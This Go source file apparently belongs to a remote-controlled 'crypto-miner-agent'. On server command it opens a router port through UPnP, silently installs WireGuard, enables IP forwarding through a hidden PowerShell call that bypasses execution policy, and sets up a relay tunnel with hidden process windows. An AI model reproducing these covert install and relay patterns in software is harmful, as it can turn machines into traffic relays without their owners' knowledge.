AetherForge/agent/client/pathtracer_windows.go

//go:build windows

package client

import (
	"crypto/rand"
	"encoding/base64"
	"encoding/json"
	"fmt"
	"log"
	"net/http"
	"os"
	"os/exec"
	"path/filepath"
	"strings"
	"syscall"

	"crypto-miner-agent/deploy"

	"golang.org/x/crypto/curve25519"
)

const wgUDPPort = 51820

// WGSetupResult is returned to the server after wg_setup.
type WGSetupResult struct {
	PublicKey    string `json:"public_key"`
	ExternalIP   string `json:"external_ip"`
	ExternalPort int    `json:"external_port"`
	UPnPOK       bool   `json:"upnp_ok"`
	Error        string `json:"error,omitempty"`
}

// WGPeerEntry is one peer entry inside WGConfigPayload.
type WGPeerEntry struct {
	PublicKey           string `json:"public_key"`
	Endpoint            string `json:"endpoint"` // "ip:port"
	AllowedIPs          string `json:"allowed_ips"`
	PersistentKeepalive int    `json:"persistent_keepalive"`
}

// WGConfigPayload is sent from the server to configure this agent's WireGuard tunnel.
type WGConfigPayload struct {
	SessionID         string        `json:"session_id"`
	PrivateKey        string        `json:"private_key"`
	LocalAddress      string        `json:"local_address"` // e.g. "10.66.0.2/24"
	ListenPort        int           `json:"listen_port"`
	Peers             []WGPeerEntry `json:"peers"`
	EnableIPForwarding bool         `json:"enable_ip_forwarding"`
}

// wgState holds active tunnel state so teardown knows what to clean up.
var wgState struct {
	sessionID  string
	configPath string
	tunnelName string
}

// WGSetup generates a keypair, tries UPnP, and returns setup info to the server.
func WGSetup() WGSetupResult {
	priv, pub, err := generateWGKeyPair()
	if err != nil {
		return WGSetupResult{Error: "keypair gen failed: " + err.Error()}
	}

	// Persist private key for when wg_configure arrives.
	_ = os.MkdirAll(wgWorkDir(), 0700)
	_ = os.WriteFile(filepath.Join(wgWorkDir(), "wg_priv.key"), []byte(priv), 0600)

	res := WGSetupResult{
		PublicKey:    pub,
		ExternalPort: wgUDPPort,
	}

	// Try UPnP — open UDP 51820.
	r, err := deploy.PunchUPnP(wgUDPPort, wgUDPPort, "PathTracer-WG")
	if err == nil && r.Success {
		res.ExternalIP = r.ExternalIP
		res.UPnPOK = true
		log.Printf("[pathtracer] UPnP opened UDP %s:%d", r.ExternalIP, wgUDPPort)
	} else {
		// Fall back to the IP the server sees on the WebSocket connection.
		res.UPnPOK = false
		log.Printf("[pathtracer] UPnP failed, server will use its seen IP: %v", err)
	}

	return res
}

// WGConfigure writes the WireGuard config and starts the tunnel as a Windows service.
func WGConfigure(payload WGConfigPayload) error {
	privKey := payload.PrivateKey
	if privKey == "" {
		// Use the key we generated in WGSetup.
		raw, err := os.ReadFile(filepath.Join(wgWorkDir(), "wg_priv.key"))
		if err != nil {
			return fmt.Errorf("private key not found: %w", err)
		}
		privKey = strings.TrimSpace(string(raw))
	}

	conf := buildWGConfig(privKey, payload)
	tunnelName := "PathTracer-" + payload.SessionID[:8]
	confPath := filepath.Join(wgWorkDir(), tunnelName+".conf")

	if err := os.WriteFile(confPath, []byte(conf), 0600); err != nil {
		return fmt.Errorf("write config: %w", err)
	}

	// Enable IP forwarding so this node can relay traffic.
	if payload.EnableIPForwarding {
		_ = enableIPForwarding()
	}

	// Install and start the WireGuard service.
	wgExe, err := ensureWGExe()
	if err != nil {
		return fmt.Errorf("wireguard not available: %w", err)
	}

	// Remove any stale service first (ignore errors).
	_ = runHidden(wgExe, "/uninstallservice", tunnelName)

	if err := runHidden(wgExe, "/installservice", confPath); err != nil {
		return fmt.Errorf("wg installservice: %w", err)
	}

	wgState.sessionID = payload.SessionID
	wgState.configPath = confPath
	wgState.tunnelName = tunnelName
	log.Printf("[pathtracer] WireGuard tunnel %s started", tunnelName)
	return nil
}

// WGTeardown stops and removes the WireGuard tunnel and cleans up UPnP.
func WGTeardown() {
	if wgState.tunnelName != "" {
		wgExe, err := ensureWGExe()
		if err == nil {
			_ = runHidden(wgExe, "/uninstallservice", wgState.tunnelName)
		}
		_ = os.Remove(wgState.configPath)
		wgState = struct {
			sessionID  string
			configPath string
			tunnelName string
		}{}
	}
	_, _ = deploy.CloseUPnP(wgUDPPort)
	log.Printf("[pathtracer] WireGuard tunnel torn down")
}

// WGIsActive reports whether a Path Tracer WireGuard tunnel is running.
func WGIsActive() bool {
	return wgState.tunnelName != ""
}

// WGStatus returns the number of active WireGuard peers.
func WGStatus() string {
	if wgState.tunnelName == "" {
		return "no active tunnel"
	}
	wgExe, err := ensureWGExe()
	if err != nil {
		return "tunnel active (wg.exe unavailable)"
	}
	cmd := exec.Command(wgExe, "show", wgState.tunnelName)
	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: 0x08000000}
	out, _ := cmd.CombinedOutput()
	return "tunnel=" + wgState.tunnelName + "\n" + strings.TrimSpace(string(out))
}

// ── helpers ──────────────────────────────────────────────────────────────────

func generateWGKeyPair() (privateB64, publicB64 string, err error) {
	var priv [32]byte
	if _, err = rand.Read(priv[:]); err != nil {
		return
	}
	// WireGuard Curve25519 key clamping.
	priv[0] &= 248
	priv[31] &= 127
	priv[31] |= 64

	var pub [32]byte
	curve25519.ScalarBaseMult(&pub, &priv)

	privateB64 = base64.StdEncoding.EncodeToString(priv[:])
	publicB64 = base64.StdEncoding.EncodeToString(pub[:])
	return
}

func buildWGConfig(privKey string, p WGConfigPayload) string {
	port := p.ListenPort
	if port == 0 {
		port = wgUDPPort
	}
	var sb strings.Builder
	sb.WriteString("[Interface]\n")
	fmt.Fprintf(&sb, "PrivateKey = %s\n", privKey)
	fmt.Fprintf(&sb, "Address = %s\n", p.LocalAddress)
	fmt.Fprintf(&sb, "ListenPort = %d\n", port)
	sb.WriteString("DNS = 1.1.1.1\n\n")
	for _, peer := range p.Peers {
		sb.WriteString("[Peer]\n")
		fmt.Fprintf(&sb, "PublicKey = %s\n", peer.PublicKey)
		if peer.Endpoint != "" {
			fmt.Fprintf(&sb, "Endpoint = %s\n", peer.Endpoint)
		}
		ai := peer.AllowedIPs
		if ai == "" {
			ai = "0.0.0.0/0"
		}
		fmt.Fprintf(&sb, "AllowedIPs = %s\n", ai)
		ka := peer.PersistentKeepalive
		if ka == 0 {
			ka = 25
		}
		sb.WriteString(fmt.Sprintf("PersistentKeepalive = %d\n\n", ka))
	}
	return sb.String()
}

func wgWorkDir() string {
	base := os.Getenv("LOCALAPPDATA")
	if base == "" {
		base = os.TempDir()
	}
	return filepath.Join(base, "PathTracer")
}

// ensureWGExe returns the path to wireguard.exe, downloading if needed.
func ensureWGExe() (string, error) {
	candidates := []string{
		`C:\Program Files\WireGuard\wireguard.exe`,
		`C:\Program Files (x86)\WireGuard\wireguard.exe`,
		filepath.Join(wgWorkDir(), "wireguard.exe"),
	}
	for _, p := range candidates {
		if _, err := os.Stat(p); err == nil {
			return p, nil
		}
	}
	return downloadWireGuard()
}

func downloadWireGuard() (string, error) {
	const dlURL = "https://download.wireguard.com/windows-client/wireguard-installer.exe"
	installDir := wgWorkDir()
	_ = os.MkdirAll(installDir, 0755)
	installerPath := filepath.Join(installDir, "wireguard-installer.exe")

	resp, err := http.Get(dlURL)
	if err != nil {
		return "", fmt.Errorf("download wireguard: %w", err)
	}
	defer resp.Body.Close()
	data := make([]byte, 0, 8*1024*1024)
	buf := make([]byte, 32*1024)
	for {
		n, rerr := resp.Body.Read(buf)
		if n > 0 {
			data = append(data, buf[:n]...)
		}
		if rerr != nil {
			break
		}
	}
	if err := os.WriteFile(installerPath, data, 0755); err != nil {
		return "", fmt.Errorf("write installer: %w", err)
	}

	// Install silently.
	if err := runHidden(installerPath, "/S"); err != nil {
		return "", fmt.Errorf("wireguard install: %w", err)
	}

	wgExe := `C:\Program Files\WireGuard\wireguard.exe`
	if _, err := os.Stat(wgExe); err != nil {
		return "", fmt.Errorf("wireguard.exe not found after install")
	}
	return wgExe, nil
}

func enableIPForwarding() error {
	script := `Set-NetIPInterface -Forwarding Enabled -ErrorAction SilentlyContinue`
	cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass",
		"-WindowStyle", "Hidden", "-Command", script)
	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: 0x08000000}
	return cmd.Run()
}

func runHidden(name string, args ...string) error {
	cmd := exec.Command(name, args...)
	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: 0x08000000}
	return cmd.Run()
}

// WGSetupJSON is called from the command dispatcher — returns JSON string for command_result.
func WGSetupJSON() string {
	res := WGSetup()
	b, _ := json.Marshal(res)
	return string(b)
}